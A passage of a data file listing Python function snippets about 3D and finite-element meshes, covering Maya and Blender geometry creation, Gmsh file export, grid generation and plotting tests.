==1:\n mc.polyNormal(_mesh,nm=0) \"\"\"\n \n \n _mesh = mc.rename(_mesh,'{0}_0_geo'.format(self.p_nameBase))\n \n if deleteHistory:\n log.debug(\"|{0}| >> delete history...\".format(_str_func)) \n mc.delete(_mesh, ch=True)\n if ml_delete:mc.delete([mObj.mNode for mObj in ml_delete])\n \n return cgmMeta.validateObjListArg(_mesh,'cgmObject',setClass=True)\n\n\n ml_shapes = []\n \n mMesh_tmp = get_castMesh(self)\n str_meshShape = mMesh_tmp.getShapes()[0]\n \n _l_targets = ATTR.msgList_get(self.mNode,'loftTargets')\n\n\n mc.select(cl=True)\n log.debug(\"|{0}| >> loftTargets: {1}\".format(_str_func,_l_targets))\n\n #>>Body -----------------------------------------------------------------\n _res_body = mc.loft(_l_targets, o = True, d = degree, po = 1 )\n\n _inputs = mc.listHistory(_res_body[0],pruneDagObjects=True)\n _tessellate = _inputs[0]\n\n _d = {'format':2,#General\n 'polygonType':1,#'quads',\n 'uNumber': 1 + jointCount}\n for a,v in _d.iteritems():\n ATTR.set(_tessellate,a,v)\n\n #>>Top/Bottom bottom -----------------------------------------------------------------\n if cap:\n _l_combine = [_res_body[0]] \n for crv in _l_targets[0],_l_targets[-1]:\n _res = mc.planarSrf(crv,po=1)\n _inputs = mc.listHistory(_res[0],pruneDagObjects=True)\n _tessellate = _inputs[0] \n _d = {'format':2,#General\n 'polygonType':1,#'quads',\n 'vNumber':1,\n 'uNumber':1}\n for a,v in _d.iteritems():\n ATTR.set(_tessellate,a,v)\n _l_combine.append(_res[0])\n\n _res = mc.polyUnite(_l_combine,ch=False,mergeUVSets=1,n = \"{0}_proxy_geo\".format(root))\n if merge:\n mc.polyMergeVertex(_res[0], d= .01, ch = 0, am = 1 )\n #polyMergeVertex -d 0.01 -am 1 -ch 1 box_3_proxy_geo;\n mc.polySetToFaceNormal(_res[0],setUserNormal = True) \n else:\n _res = _res_body\n return _res[0]\n \n \n \n \n return \n l_uIsos = SURF.get_dat(str_meshShape, uKnots=True)['uKnots']\n log.debug(\"|{0}| >> Isoparms U: {1}\".format(_str_func,l_uIsos))\n \n #Process ----------------------------------------------------------------------------------\n l_newCurves = []\n d_curves = {}\n \n def getCurve(uValue,l_curves):\n _crv = d_curves.get(uValue)\n if _crv:return _crv\n _crv = mc.duplicateCurve(\"{0}.u[{1}]\".format(str_meshShape,uValue), ch = 0, rn = 0, local = 0)[0]\n mCrv = cgmMeta.asMeta(_crv)\n mCrv.p_parent=False\n d_curves[uValue] = mCrv\n log.debug(\"|{0}| >> created: {1} ...\".format(_str_func,_crv)) \n l_curves.append(mCrv)\n return mCrv\n \n for uValue in l_uIsos:\n mCrv = getCurve(uValue,l_newCurves)","def test_plot_mesh(self):\n plt.close('all')\n\n #\n # Initialize\n #\n fig, ax = plt.subplots(3,3)\n plot = Plot()\n #\n # Define mesh\n # \n mesh = Mesh.newmesh(grid_size=(2,2))\n mesh.refine() \n mesh.root_node().children[1,1].mark(1)\n mesh.refine(1)\n \n # Plot simple mesh\n ax[0,0] = plot.mesh(ax[0,0], mesh)\n \n #\n # Flag a few cells\n # \n mesh.unmark(nodes=True)\n mesh.root_node().children[0,0].mark(2)\n mesh.root_node().children[1,0].mark(1)\n mesh.root_node().children[1,1].children['SW'].mark(3)\n mesh.root_node().children[1,1].children['NE'].mark(3)\n \n # Color flagged cells\n ax[0,1] = plot.mesh(ax[0,1], mesh, color_marked=[1,2,3], nested=True)\n \n # Plot vertex numbers\n ax[0,2] = plot.mesh(ax[0,2], mesh, vertex_numbers=True)\n \n # Plot edge numbers\n ax[1,0] = plot.mesh(ax[1,0], mesh, edge_numbers=True)\n \n # Plot cell numbers nested off\n mesh.refine(2)\n ax[1,1] = plot.mesh(ax[1,1], mesh, cell_numbers=True)\n \n # Plot cell numbers nested on\n ax[1,2] = plot.mesh(ax[1,2], mesh, cell_numbers=True, nested=True)\n\n # Plot dofs\n element = QuadFE(2,'Q1')\n ax[2,0] = plot.mesh(ax[2,0], mesh, element=element, dofs=True)\n \n # Assign dofs in a nested way\n ax[2,1] = plot.mesh(ax[2,1], mesh, element=element, dofs=True, \\\n nested=True)\n \n # Display only dofs of flagged nodes \n ax[2,2] = plot.mesh(ax[2,2], mesh, element=element, dofs=True, \\\n node_flag=3, nested=True, show_axis=True)","def create_mesh(verts, faces, name):\n thisfunc = thisfile + '->create_mesh()'\n\n verts = np.array(verts)\n\n # Create mesh\n mesh_data = bpy.data.meshes.new(name)\n mesh_data.from_pydata(verts, [], faces)\n mesh_data.update()\n\n logging.info(\"%s: Mesh '%s' created\", thisfunc, name)\n\n return mesh_data","def __init__(self, mesh, V):\n super().__init__(mesh, V)\n self.bcs = None","def __init__(self, mesh):\n self._mesh = mesh","def WriteMesh(fileW, mesh, exportMatrix, materials, labels, isCollision = False):\n from . import fileWriter, enums\n global DO\n\n debug(\" Writing BASIC:\", mesh.name)\n start = fileW.tell()\n\n # the verts and normals in pairs and a list that translates between original id and distinct id\n distVertNrm = VertNrmPairs(mesh.vertices, exportMatrix) \n\n #creating a bounding box and updating it while writing vertices\n bounds = BoundingBox()\n\n #writing vertices\n verticesAddress = fileW.tell()\n for v in distVertNrm:\n v[0].write(fileW)\n bounds.checkUpdate(v[0])\n\n bounds.calcCenter()\n bounds.calcRadius(mesh.vertices)\n\n #writing normals\n normalsAddress = fileW.tell()\n for v in distVertNrm:\n v[1].write(fileW)\n\n # creating the loops (as an index list)\n\n if isCollision:\n polyVs = PolyVert.collisionFromLoops(mesh)\n else:\n polyVs = PolyVert.fromLoops(mesh)\n\n # making them strips, each set is for one mesh set\n materialLength = len(materials)\n if materialLength < 2:\n polyT = list()\n for p in polyVs:\n polyT.extend(p)\n polyVs = [polyT]\n\n\n polyStrips = PolyVert.toStrips(polyVs)\n\n if DO:\n for i,s in enumerate(polyStrips):\n if s is not None:\n if s[0] == enums.PolyType.Strips:\n print(\" strips\", str(i)+\":\", len(s) - 1)\n else:\n print(\" tris\", str(i)+\":\", (len(s) - 1) / 3)\n\n #writing the mesh data and getting the mesh sets\n meshSets = list() #[None] * len(polyStrips)\n\n if materialLength == 0 or isCollision:\n for i, p in enumerate(polyStrips):\n if p == None:\n continue\n meshSets.append(PolyVert.write(fileW, mesh, 0, i, p, isCollision))\n else:\n for i, p in enumerate(polyStrips):\n if p == None:\n continue\n matID = 0\n try:\n for mid, m in enumerate(materials):\n if m.name == mesh.materials[i].name:\n matID = mid\n break\n except ValueError:\n debug(\" material\", mesh.materials[i].name, \"not found\")\n meshSets.append(PolyVert.write(fileW, mesh, matID, i, p))\n\n # writing the mesh sets\n meshSetAddress = fileW.tell()\n\n for m in meshSets:\n m.write(fileW, labels)\n\n #adding mesh address to the labels\n labels[\"bsc_\" + mesh.name] = fileW.tell()\n #labels[mesh.name] = fileW.tell()\n\n #writing addresses\n\n labels[\"bsc_\" + mesh.name + \"_v\"] = verticesAddress\n fileW.wUInt(verticesAddress)\n labels[\"bsc_\" + mesh.name + \"_nrm\"] = normalsAddress\n fileW.wUInt(normalsAddress)\n fileW.wUInt(len(distVertNrm))\n labels[\"bsc_\" + mesh.name + \"_ml\"] = meshSetAddress # ml = \"mesh list\"\n fileW.wUInt(meshSetAddress)\n fileW.wUInt(0x00000010) # material address is always the same (at least the way this addon exports the format)\n fileW.wUShort(len(meshSets))\n fileW.wUShort(materialLength) # material count\n bounds.write(fileW)\n fileW.wUInt(0) #sa1 gap\n\n if DO:\n print(\" vert addr:\", '{:08x}'.format(verticesAddress))\n print(\" nrm addr:\", '{:08x}'.format(normalsAddress))\n print(\" vertices:\", len(distVertNrm))\n print(\" set addr:\", '{:08x}'.format(meshSetAddress))\n print(\" sets:\", len(meshSets))\n print(\" mats:\", materialLength)\n print(\" BASIC length:\", (fileW.tell() - start))\n print(\"----- \\n\")\n\n fileW.align(4)","def run(self):\n config = self.config\n logger = self.logger\n\n timeStart = time.time()\n\n section = config['horizontal_grid']\n nx = section.getint('nx')\n ny = section.getint('ny')\n dc = section.getfloat('dc')\n\n dsMesh = make_planar_hex_mesh(nx=nx, ny=ny, dc=dc, nonperiodic_x=True,\n nonperiodic_y=False)\n write_netcdf(dsMesh, 'base_mesh.nc')\n\n dsMesh = cull(dsMesh, logger=logger)\n dsMesh = convert(dsMesh, graphInfoFileName='culled_graph.info',\n logger=logger)\n write_netcdf(dsMesh, 'culled_mesh.nc')\n\n section = config['vertical_grid']\n maxDepth = section.getfloat('bottom_depth')\n nVertLevels = section.getint('vert_levels')\n\n section = config['solitary_wave']\n config_eos_linear_alpha = section.getfloat('eos_linear_alpha')\n config_eos_linear_Tref = section.getfloat('eos_linear_Tref')\n config_eos_linear_Sref = section.getfloat('eos_linear_Sref')\n config_eos_linear_densityref = section.getfloat(\n 'eos_linear_densityref')\n h1 = section.getfloat('h1')\n deltaRho = section.getfloat('deltaRho')\n interfaceThick = section.getfloat('interfaceThick')\n amplitude = section.getfloat('amplitude')\n wavelenght = section.getfloat('wavelenght')\n\n # comment('obtain dimensions and mesh variables')\n # vertical_coordinate = 'uniform'\n\n ds = dsMesh.copy()\n nCells = ds.nCells.size\n nEdges = ds.nEdges.size\n nVertices = ds.nVertices.size\n\n xCell = ds.xCell\n angleEdge = ds.angleEdge\n\n # initialize velocity field\n u = np.zeros([1, nEdges, nVertLevels])\n\n # comment('create and initialize variables')\n time1 = time.time()\n\n surfaceStress = np.nan * np.ones(nCells)\n atmosphericPressure = np.nan * np.ones(nCells)\n boundaryLayerDepth = np.nan * np.ones(nCells)\n\n ds['bottomDepth'] = maxDepth * xarray.ones_like(xCell)\n ds['ssh'] = xarray.zeros_like(xCell)\n\n init_vertical_coord(config, ds)\n\n # initial salinity, density, temperature\n ds['salinity'] = (config_eos_linear_Sref *\n xarray.ones_like(ds.zMid)).where(ds.cellMask)\n ds['density'] = \\\n (config_eos_linear_densityref -\n (0.5*deltaRho)*(np.tanh(\n (2/interfaceThick)*np.arctanh(0.99) *\n (ds.zMid + amplitude*np.exp(\n -(ds.xCell/wavelenght)*(ds.xCell/wavelenght)) + h1))))\n # T = Tref - (rho - rhoRef)/alpha\n ds['temperature'] = \\\n (config_eos_linear_Tref\n - (ds.density - config_eos_linear_densityref) /\n config_eos_linear_alpha)\n\n # initial velocity on edges\n ds['normalVelocity'] = (('Time', 'nEdges', 'nVertLevels',),\n np.zeros([1, nEdges, nVertLevels]))\n normalVelocity = ds['normalVelocity']\n for iEdge in range(0, nEdges):\n normalVelocity[0, iEdge, :] = u[0, iEdge, :] * \\\n math.cos(angleEdge[iEdge])\n\n # Coriolis parameter\n ds['fCell'] = (('nCells', 'nVertLevels',),\n np.zeros([nCells, nVertLevels]))\n ds['fEdge'] = (('nEdges', 'nVertLevels',),\n np.zeros([nEdges, nVertLevels]))\n ds['fVertex'] = (('nVertices', 'nVertLevels',),\n np.zeros([nVertices, nVertLevels]))\n\n # surface fields\n surfaceStress[:] = 0.0\n atmosphericPressure[:] = 0.0\n boundaryLayerDepth[:] = 0.0\n print(f' time: {time.time() - time1}')\n\n # comment('finalize and write file')\n time1 = time.time()\n\n # If you prefer not to have NaN as the fill value, you should consider\n # using mpas_tools.io.write_netcdf() instead\n write_netcdf(ds, 'initial_state.nc')\n print(f' time: {time.time() - time1}')\n print(f'Total time: {time.time() - timeStart}')","def mesher(cse):\n # get dimensionality.\n ndim = 2\n # determine meshing template file name.\n tmplfn = '%s.gmsh.tmpl' % ('cube' if 3 == ndim else 'square')\n # determine characteristic length of mesh.\n try:\n itv = float(cse.io.basefn.split('_')[-1])/1000\n except ValueError:\n itv = 0.2\n # load the meshing commands.\n cmds = open(tmplfn).read() % itv\n cmds = [cmd.strip() for cmd in cmds.strip().split('\\n')]\n # make the original mesh object.\n mobj = sc.helper.Gmsh(cmds)()\n # convert the mesh to block.\n blk = mobj.toblock(bcname_mapper=cse.condition.bcmap,\n use_incenter=cse.solver.use_incenter)\n # return the converted block.\n return blk","def _write_mesh_change(self, writer):\n bloc = \"\"\n grps = self._grp_names_for_mesh\n model = writer.get(Modelisation)\n self.model_give_dim = model.give_dim()\n #if grps and model: \n # lines = WC.Lines()\n # cmd = \"MAIL=MODI_MAILLAGE(\"\n # lines.add(cmd + \"reuse=MAIL,\")\n # lines.init_idt = \" \" * len(cmd)\n # lines.add(\"MAILLAGE=MAIL,\")\n # opt = \"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\"\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\n # lines.add(\");\")\n # bloc = lines.build_part()\n writer.subs(\"mesh_change_key\", bloc)","def _write_mesh_change(self, writer):\n bloc = \"\"\n grps = self._grp_names_for_mesh\n model = writer.get(Modelisation)\n self.model_give_dim = model.give_dim()\n #if grps and model: \n # lines = WC.Lines()\n # cmd = \"MAIL=MODI_MAILLAGE(\"\n # lines.add(cmd + \"reuse=MAIL,\")\n # lines.init_idt = \" \" * len(cmd)\n # lines.add(\"MAILLAGE=MAIL,\")\n # opt = \"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\"\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\n # lines.add(\");\")\n # bloc = lines.build_part()\n writer.subs(\"mesh_change_key\", bloc)","def _write_mesh_change(self, writer):\n bloc = \"\"\n grps = self._grp_names_for_mesh\n model = writer.get(Modelisation)\n self.model_give_dim = model.give_dim()\n #if grps and model: \n # lines = WC.Lines()\n # cmd = \"MAIL=MODI_MAILLAGE(\"\n # lines.add(cmd + \"reuse=MAIL,\")\n # lines.init_idt = \" \" * len(cmd)\n # lines.add(\"MAILLAGE=MAIL,\")\n # opt = \"ORIE_PEAU_%sD=_F(GROUP_MA=%s,),\"\n # #lines.add(opt % (model.give_dim(), tuple(grps)))\n # lines.add(opt % (self.model_give_dim, tuple(grps)))\n # lines.add(\");\")\n # bloc = lines.build_part()\n writer.subs(\"mesh_change_key\", bloc)","def WriteGmsh(self, filename, write_surface_info=False):\n\n self.__do_essential_memebers_exist__()\n\n mesh = deepcopy(self)\n p = self.InferPolynomialDegree()\n\n # if p > 1:\n # mesh = self.GetLinearMesh(remap=True)\n\n element_type = mesh.element_type\n edim = mesh.InferElementalDimension()\n\n # THESE TAGS ARE DIFFERENT FROM THE GMSH READER TAGS\n bel = -1\n if element_type == \"line\":\n el = 1\n elif element_type == \"tri\":\n if p == 1:\n el = 2\n bel = 1\n elif p == 2:\n el = 9\n bel = 8\n elif p == 3:\n el = 21\n bel = 26\n elif p == 4:\n el = 23\n bel = 27\n elif element_type == \"quad\":\n if p == 1:\n el = 3\n bel = 1\n elif p == 2:\n el = 10\n bel = 8\n elif p == 3:\n el = 36\n bel = 26\n elif p == 4:\n el = 37\n bel = 27\n elif element_type == \"tet\":\n if p == 1:\n el = 4\n bel = 2\n elif p == 2:\n el = 11\n bel = 9\n elif element_type == \"hex\":\n if p == 1:\n el = 5\n bel = 3\n else:\n el = 12\n bel = 10\n else:\n raise ValueError(\"Element type not understood\")\n\n\n elements = np.copy(mesh.elements).astype(np.int64)\n points = mesh.points[np.unique(elements),:]\n\n # TRI6\n if el == 9:\n elements = elements[:,[0, 1, 2, 3, 5, 4]]\n # TRI10\n elif el == 21:\n elements = elements[:,[0, 1, 2, 3, 4, 7, 9, 8, 5, 6]]\n # TRI15\n elif el == 23:\n elements = elements[:,[0, 1, 2, 3, 4, 5, 9, 12, 14, 13, 10, 6, 7, 8, 11]]\n # QUAD9\n elif el == 10:\n elements = elements[:,[0, 1, 2, 3, 4, 7, 8, 5, 6]]\n # QUAD16\n elif el == 36:\n elements = elements[:,[0, 1, 2, 3, 4, 5, 9, 13, 15, 14, 10, 6, 7, 8, 12, 11]]\n # QUAD25\n elif el == 37:\n elements = elements[:,[0, 1, 2, 3, 4, 5, 6, 11, 16, 21, 24, 23, 22, 17, 12, 7, 8, 9, 10, 15, 20, 19, 18, 13, 14]]\n # TET10\n elif el == 11:\n # Tet 2\n elements = elements[:,[0, 1, 2, 3, 4, 6, 5, 7, 9, 8]]\n # HEX27\n elif el == 12:\n elements = elements[:,[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 13, 11, 14, 12, 15, 16, 22, 23, 25, 26, 10, 17, 18, 20, 21, 24, 19]]\n\n # Take care of a corner case where nnode != points.shape[0]\n if mesh.nnode != points.shape[0]:\n mesh.nnode = points.shape[0]\n\n if points.shape[1] == 2:\n points = np.hstack((points,np.zeros((points.shape[0],1))))\n\n points_repr = np.zeros((points.shape[0],points.shape[1]+1), dtype=object)\n points_repr[:,0] = np.arange(mesh.nnode) + 1\n points_repr[:,1:] = points\n\n elements_repr = np.zeros((elements.shape[0],elements.shape[1]+5), dtype=object)\n elements_repr[:,0] = np.arange(mesh.nelem) + 1\n elements_repr[:,1] = el\n elements_repr[:,2] = 2\n elements_repr[:,3] = 0\n elements_repr[:,4] = 1\n elements_repr[:,5:] = elements + 1\n\n if write_surface_info:\n\n if edim == 3:\n boundary = np.copy(mesh.faces).astype(np.int64)\n elif edim == 2:\n boundary = np.copy(mesh.edges).astype(np.int64)\n\n boundary_repr = np.zeros((boundary.shape[0],boundary.shape[1]+5), dtype=object)\n boundary_repr[:,0] = np.arange(boundary.shape[0]) + 1\n boundary_repr[:,1] = bel\n boundary_repr[:,2] = 2\n boundary_repr[:,3] = 0\n boundary_repr[:,4] = 1\n boundary_repr[:,5:] = boundary + 1\n\n elements_repr[:,0] += boundary.shape[0]\n\n gmsh_nelem = mesh.nelem + boundary.shape[0]\n else:\n gmsh_nelem = mesh.nelem\n\n with open(filename, 'w') as f:\n f.write(\"$MeshFormat\\n\")\n f.write(\"2.2 0 8\\n\")\n f.write(\"$EndMeshFormat\\n\")\n f.write(\"$Nodes\\n\")\n f.write(str(mesh.nnode) + \"\\n\")\n\n np.savetxt(f, points_repr, fmt=\"%s\")\n\n f.write(\"$EndNodes\\n\")\n f.write(\"$Elements\\n\")\n f.write(str(gmsh_nelem) + \"\\n\")\n\n if write_surface_info:\n np.savetxt(f, boundary_repr, fmt=\"%s\")\n\n np.savetxt(f, elements_repr, fmt=\"%s\")\n\n f.write(\"$EndElements\\n\")","def create_3d_patch(model,orgin,size,N,setname='default'):\n \n N = map(int,N)\n # create the coordinates and connectivity based on one\n bxyz,bcube = block3d(orgin,size,N)\n \n # add node to model starting with current highest node seq\n nn = int(model.node(bxyz))\n update_bcube = bcube + int(nn)\n \n pelemset = model.element(update_bcube,setname)\n \n \n nx = N[0] + 1\n ny = N[1] + 1\n nz = N[2] + 1\n \n \n nodeline = {}\n\n nodeline['1'] = [nn + 1]\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\n \n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\n\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\n \n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\n \n nodeline['1-2-3-4'] = []\n nodeline['5-6-7-8'] = []\n nodeline['1-2-6-5'] = []\n nodeline['4-3-7-8'] = []\n nodeline['1-4-8-5'] = []\n nodeline['2-3-7-6'] = []\n \n for i in range(0,nx):\n for j in nodeline['1-4']:\n nodeline['1-2-3-4'].append(j + i*ny*nz)\n for j in nodeline['5-8']:\n nodeline['5-6-7-8'].append(j + i*ny*nz) \n \n for j in nodeline['1-5']:\n nodeline['1-2-6-5'].append(j + i*ny*nz) \n for j in nodeline['4-8']:\n nodeline['4-3-7-8'].append(j + i*ny*nz)\n \n for i in range(0,ny):\n for j in nodeline['1-5']:\n nodeline['1-4-8-5'].append(j + i*nz)\n for j in nodeline['2-6']:\n nodeline['2-3-7-6'].append(j + i*nz)\n #\n for key in nodeline:\n nodesetname = '-'.join([setname , key])\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\n\n return model","def __init__(self, name='mesh', cmesh=None):\n Struct.__init__(self, name=name, nodal_bcs={}, io=None)\n if cmesh is not None:\n self.cmesh_tdim = [None] * 4\n self.cmesh = self.cmesh_tdim[cmesh.tdim] = cmesh\n self._collect_descs()\n self._coors = self.cmesh.coors\n self._set_shape_info()","def defineCircleLayout(self):\n # Define a 2-D array representing the position of each mesh point\n self.xPoints = self.frange(0,self.R,self.h)\n self.yPoints = self.frange(0,self.R,self.h)\n\n # Position of internal mesh points\n internal_xyCoord = [(i,j) for i in self.xPoints for j in self.yPoints if (i - self.R)**2 + (j - self.R)**2 < self.R^2] \n\n # Define the dictionary containing internal points\n for k in internal_xyCoord:\n x = k[0]\n y = k[1]\n xLabel = xPoints.index(x)\n yLabel = yPoints.index(y)\n self.internalPoints[(xLabel,yLabel)] = meshPoint(type = 'internal',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n\n # Position of the boundary points\n # Find the intersection of each mesh line with the circle\n # For a given vertical mesh line: \n # y = R - sqrt(R^2 - (x-R)^2) & y = R + sqrt(R^2 - (x-R)^2)\n # For a given horizontal mesh line: \n # x = R - sqrt(R^2 - (y-R)^2) & x = R + sqrt(R^2 - (y-R)^2)\n boundary_xyCoord = [(0,self.R),(self.R,0),(self.R,2*self.R),(2*self.R,self.R)] + [(x,self.R - math.sqrt(self.R**2 - (x-self.R)**2)) for x in self.xPoints[1:len(self.xPoints)-1]] + [(x,self.R - math.sqrt(self.R**2 + (x-self.R)**2)) for x in self.xPoints[1:len(self.xPoints)-1]] + [(self.R - math.sqrt(self.R**2 - (y-self.R)**2),y) for y in self.yPoints[1:len(yPoints)-1]] + [(self.R + math.sqrt(self.R**2 - (y-self.R)**2),y) for y in self.yPoints[1:len(yPoints)-1]] \n\n # Define the dictionary containing boundary points\n for k in boundary_xyCoord:\n x = k[0]\n y = k[1]\n [xLabel,yLabel] = self.findLabel(x,y)\n self.boundaryPoints[(xLabel,yLabel)] = meshPoint(type = 'boundary',x = x, y = y, xLabel = xLabel, yLabel = yLabel) \n \n # Now that we have assigned the labels we can define fE, fW, fN and fS\n self.fCalc()","def add_wireframe_modifier(self):\n scene = self.set_as_active()\n\n # if the user selected a material, use it\n if w_var.cb_mat_wire:\n wireframe_mat = bpy.data.materials[w_var.mat_wire_name]\n\n # else, create a new one with the color selected\n else:\n color_wire = w_var.color_wire\n\n # separating rgb and alpha\n wireframe_color_rgb = color_wire[0:3]\n wireframe_color_alpha = color_wire[-1]\n wireframe_mat = bpy.data.materials.new('wireframe')\n\n renderengine = scene.wirebomb.data_renderengine\n \n if renderengine == 'CYCLES':\n wireframe_mat.use_nodes = True\n tree = wireframe_mat.node_tree\n tree.nodes.clear()\n\n # creating the nodes\n node_transparent = tree.nodes.new('ShaderNodeBsdfTransparent')\n node_transparent.location = -300, 100\n\n node_diffuse = tree.nodes.new('ShaderNodeBsdfDiffuse')\n node_diffuse.location = -300, -100\n node_diffuse.inputs[0].default_value = wireframe_color_rgb + (1.0,)\n node_diffuse.color = wireframe_color_rgb\n node_diffuse.name = 'addon_wireframe_color' # referencing to this ID in the real-time change\n\n node_mixshader = tree.nodes.new('ShaderNodeMixShader')\n node_mixshader.location = 0, 50\n node_mixshader.inputs[0].default_value = wireframe_color_alpha\n node_mixshader.name = 'addon_wireframe_alpha' # referencing to this ID in the real-time change\n\n node_output = tree.nodes.new('ShaderNodeOutputMaterial')\n node_output.location = 300, 50\n\n # connecting the nodes\n tree.links.new(node_transparent.outputs[0], node_mixshader.inputs[1])\n tree.links.new(node_diffuse.outputs[0], node_mixshader.inputs[2])\n tree.links.new(node_mixshader.outputs[0], node_output.inputs[0])\n\n for node in tree.nodes:\n node.select = False\n\n # sets the viewport color\n wireframe_mat.diffuse_color = wireframe_color_rgb\n\n elif renderengine == 'BLENDER_RENDER':\n wireframe_mat.diffuse_color = wireframe_color_rgb\n wireframe_mat.use_transparency = True\n wireframe_mat.alpha = wireframe_color_alpha\n\n self.select('SELECT', {'MESH'}, objects_excluded={'ELSE'})\n\n for obj in scene.objects:\n if obj.select:\n obj.data.materials.append(wireframe_mat)\n modifier_wireframe = obj.modifiers.new(name='Wireframe', type='WIREFRAME')\n modifier_wireframe.use_even_offset = False # Causes spikes on some models\n modifier_wireframe.use_replace = False\n modifier_wireframe.thickness = w_var.slider_wt_modifier\n\n # arbitrary high number because wire material is always added to end\n modifier_wireframe.material_offset = 12345\n\n # referencing to this ID in the real-time change\n modifier_wireframe.name = 'addon_wireframe'\n\n return wireframe_mat","def create_grid(self):\n # Domain definition\n network = pp.FractureNetwork2d(self.frac_pts.T, self.frac_edges.T, domain=self.box)\n gb = network.mesh(self.mesh_args) \n pp.contact_conditions.set_projections(gb)\n\n self.gb = gb\n self.Nd = self.gb.dim_max()\n self._Nd = self.gb.dim_max()\n g2d = self.gb.grids_of_dimension(2)[0]\n self.min_face = np.copy(self.mesh_size) #np.min(g2d.face_areas)\n self.min_cell = np.min(g2d.cell_volumes)\n self.p, self.t = analysis.adjustmesh(g2d, self.tips, self.GAP)\n self.displacement = self.p*0\n self.fa_no = g2d.face_nodes.indices.reshape((2, g2d.num_faces), order='f').T \n return gb","def DisplayMesh():\r\n \r\n # Load Surface Mesh Data and generate normals\r\n VTKString = OpenData('C:/Users/Tim/Documents/University/Year 4/Final Project/FinalYearProjectCode/TEH_Code/InputFiles','muscle_surface.vtk')\r\n header, Vertices, Triangles = CreateMatrixVTK(VTKString)\r\n \r\n fig = plt.figure()\r\n ax1 = fig.add_subplot(111,projection = '3d')\r\n ax1.plot_trisurf(Vertices[:,0],Vertices[:,1],Vertices[:,2],triangles= Triangles[:,1:])\r\n ax1.set_zlabel('z')\r\n ax1.set_ylabel('y')\r\n ax1.set_xlabel('x')\r\n plt.show()","def test_c0q1(self):\n self.check_c0q1(test_hexMesh_3x3=False,use_petsc=True, name=\"_proteusMesh_\")","def CreateDummy3DMeshfrom2DMesh(self):\n\n self.__do_memebers_exist__()\n\n sys.stdout = open(os.devnull, \"w\")\n\n p = self.InferPolynomialDegree()\n mm = Mesh()\n if self.element_type == \"quad\":\n mm.element_type = \"hex\"\n mm.elements = np.zeros((1,int((p+1)**3))).astype(np.uint64)\n elif self.element_type == \"tri\":\n mm.element_type = \"tet\"\n mm.elements = np.zeros((1,int((p+1)*(p+2)*(p+3)/6))).astype(np.uint64)\n else:\n raise ValueError(\"Cannot make a 3D mesh from the 2D mesh of type {}\".format(self.element_type))\n\n mm.edges = np.zeros((1,p+1)).astype(np.uint64)\n mm.points = np.copy(self.points)\n mm.nelem = 1\n mm.nnode = mm.points.shape[0]\n mm.faces = np.copy(self.elements)\n mm.boundary_face_to_element = np.zeros((mm.faces.shape[0],2)).astype(np.int64)\n mm.boundary_face_to_element[:,0] = 1\n\n sys.stdout = sys.__stdout__\n\n return mm","def __init__(self):\n Page.__init__(self, u\"Paraboloide Elíptico<br><br>F(x,y)=(x, y, x<sup>2</sup>/a<sup>2</sup> + y<sup>2</sup>/b<sup>2</sup>)\")\n\n z = 0.5\n par = RevolutionPlot3D(lambda r, t: r ** 2 + z, (0, 1), (0, 2 * pi))\n\n x, y, z2, u, v, cose, sen, t = createVars(['x', 'y', 'z', 'u', 'v', 'cos', 'sen', 't'])\n\n mesh1 = Plot3D(lambda x, y, h: h * (x ** 2 + y ** 2 + z - .01), (-1, 1), (-1, 1))\n mesh1.addEqn(x**2+y**2 - z2**2 == 1)\n mesh1.addFunction(lambda x, y, h: h * (x ** 2 + y ** 2 + z + .01))\n mesh1.setLinesVisible(True)\n mesh1.setMeshVisible(False)\n mesh1.setBoundingBox(zrange=(-1, 1.5))\n par.setAmbientColor(_1(145, 61, 74))\n par.setDiffuseColor(_1(145, 61, 74))\n par.setSpecularColor(_1(145, 61, 74))\n baseplane = BasePlane()\n baseplane.setHeight(0)\n baseplane.setRange((-2, 2, 7))\n\n self.addChild(par)\n self.addChild(mesh1)\n self.addChild(baseplane)","def __init__(self):\n self.lattices = []\n self.meshfns = []","def __init__(self,\n name,\n vertices_location,\n connectivity,\n connectivity_ids=None,\n connectivity_label=None,\n connectivity_label_metadata=None,\n connectivity_colormap = None,\n connector_size=2.6,\n global_deselect_alpha=0.2,\n global_select_alpha=1.0,\n skeleton_linewidth=2.0):\n super(Microcircuit, self).__init__( name )\n\n if not connectivity_ids is None:\n self.connectivity_ids = connectivity_ids\n\n if not connectivity_label is None:\n self.connectivity_labels = connectivity_label\n\n if not connectivity_label_metadata is None:\n\n for semanticdict in connectivity_label_metadata:\n # name needs to be based on convention, TODO: best from ontology id rather than string!\n # TODO: use microcircuit convention\n if semanticdict.has_key(\"name\"):\n name = semanticdict[\"name\"]\n if \"skeleton\" in name:\n self.con_skeleton = 